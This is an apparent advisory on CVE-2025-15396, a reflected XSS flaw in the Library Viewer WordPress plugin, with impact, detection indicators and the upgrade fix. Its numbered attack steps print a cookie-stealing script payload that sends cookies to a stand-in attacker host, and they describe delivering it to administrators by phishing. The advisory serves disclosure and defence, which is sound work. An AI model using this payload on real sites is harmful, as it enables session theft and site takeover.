CVE-2025-15396: 
WordPress vulnerability analysis and mitigation

CVE-2025-15396 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Library Viewer WordPress plugin affecting all versions before 3.2.0. The flaw allows unauthenticated remote attackers to inject malicious scripts that execute in the context of high-privilege users such as administrators. It was publicly disclosed on January 12, 2026, and assigned a CVSS v3.1 base score of 7.1 (High) (WPScan, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The plugin fails to sanitize or escape user-supplied input in the library-viewer-error-message and library-viewer-success-message GET parameters before reflecting them back in the page output. Exploitation requires the target site to have a directory named library accessible at the web root and a page containing the [library-viewer] shortcode. A crafted URL with a malicious payload in either parameter is then delivered to a privileged user, triggering script execution in their browser (WPScan).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser session of a high-privilege WordPress user (e.g., an administrator). This can lead to session token theft, unauthorized administrative actions (such as creating rogue admin accounts, installing malicious plugins, or modifying site content), and potential full site compromise. Confidentiality, integrity, and availability are all assessed as low-to-moderate impact individually, but the changed scope (S:C) reflects that the attack crosses the browser security boundary (WPScan, Red Hat CVE).

No exploit kit integration or active in-the-wild exploitation has been reported for CVE-2025-15396. A public proof-of-concept is available via the WPScan advisory, demonstrating the attack with simple crafted URLs. The EPSS score is approximately 0.009% (0.000090), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (WPScan).

1. Reconnaissance: Identify WordPress sites running the Library Viewer plugin version below 3.2.0 using tools like WPScan or by checking plugin metadata at https://example.com/wp-content/plugins/library-viewer/readme.txt.
2. Verify prerequisites: Confirm the target site has a /library directory accessible at the web root and a page with the [library-viewer] shortcode.
3. Craft malicious URL: Construct a URL targeting the vulnerable parameter, e.g., http://example.com/page-with-shortcode/?library-viewer-error-message=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver payload: Send the crafted URL to a high-privilege user (e.g., administrator) via phishing email, forum post, or other social engineering vector.
5. Achieve objective: When the admin clicks the link and loads the page, the injected script executes in their browser, potentially stealing session cookies or performing actions on their behalf (WPScan).

• Network: HTTP GET requests to WordPress pages containing the [library-viewer] shortcode with URL-encoded script tags or JavaScript event handlers in the library-viewer-error-message or library-viewer-success-message query parameters.
• Logs: Web server access logs showing requests such as GET /page-with-shortcode/?library-viewer-error-message=%3Cscript%3E... from external IP addresses, particularly if followed by requests to external attacker-controlled domains.
• Logs: WordPress admin activity logs showing unexpected administrative actions (plugin installs, user creation) shortly after an admin accessed an unusual external link.
• Network: Outbound connections from the victim's browser to unknown external domains immediately following access to a page with the vulnerable shortcode.

Users should update the Library Viewer WordPress plugin to version 3.2.0 or later, which includes proper sanitization and escaping of the affected parameters. No configuration-based workaround is available; upgrading is the only effective remediation. Site administrators who cannot immediately update should consider temporarily disabling the plugin or restricting access to pages containing the [library-viewer] shortcode (WPScan).

The vulnerability was discovered and reported by researcher Muhammad Rohan Khan and verified by WPScan. Wordfence included it in their weekly WordPress vulnerability report for the week of February 2–8, 2026 (Wordfence). No significant broader media coverage or notable social media discussion has been identified.